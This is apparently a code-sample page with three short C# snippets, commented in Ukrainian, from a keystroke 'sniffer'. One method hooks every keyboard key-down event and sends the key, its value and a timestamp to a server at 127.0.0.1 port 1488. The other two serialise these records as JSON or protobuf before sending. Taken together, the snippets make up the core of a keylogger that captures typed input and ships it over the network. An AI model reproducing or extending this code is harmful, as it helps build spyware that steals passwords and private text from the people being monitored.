Пример #1
0
 public void SendInPtotobuf(KeyBoardInteractionInfo keyBoardInteractionInfo)
 {
     //Створюємо потік
     using (MemoryStream ms = new MemoryStream())
     {
         //Виконуємо серіалізацію об'єкту у потік
         Serializer.Serialize <KeyBoardInteractionInfo>(ms, keyBoardInteractionInfo);
         //Передаємо байтовий вигляд потоку у якості параметра у метод Send
         Send(ms.ToArray());
     }
 }
Пример #2
0
        public void StartSniffer()
        {
            //Створюємо єкземпляр класу для перехвату натискань на клавіауту
            KeyboardListener keyboardListener = new KeyboardListener();
            //Ствоюємо єкземпляр класу для пересилання інформації щодо натискань на сервер
            NetworkSender networkSender = new NetworkSender("127.0.0.1", 1488);

            //Процессор події натискання, з подальшою пересилкою на сервер у вигляді JSON (для прискорення, можно замінити на ProtoBuf)
            keyboardListener.KeyDown += (a, b) =>
            {
                KeyBoardInteractionInfo kbii = new KeyBoardInteractionInfo();
                kbii.Key         = b.Key.ToString();
                kbii.Value       = b.ToString();
                kbii.TimePressed = DateTime.Now.ToShortTimeString();
                networkSender.SendInJSON(kbii);
            };
        }
Пример #3
0
 public void SendInJSON(KeyBoardInteractionInfo keyBoardInteractionInfo)
 {
     //Виконуємо серіалізацію об'єкту у строку, а потім конвертацію у масив байтів, та передаємо у якості параметра у метод Send
     Send(Encoding.Unicode.GetBytes(JsonConvert.SerializeObject(keyBoardInteractionInfo)));
 }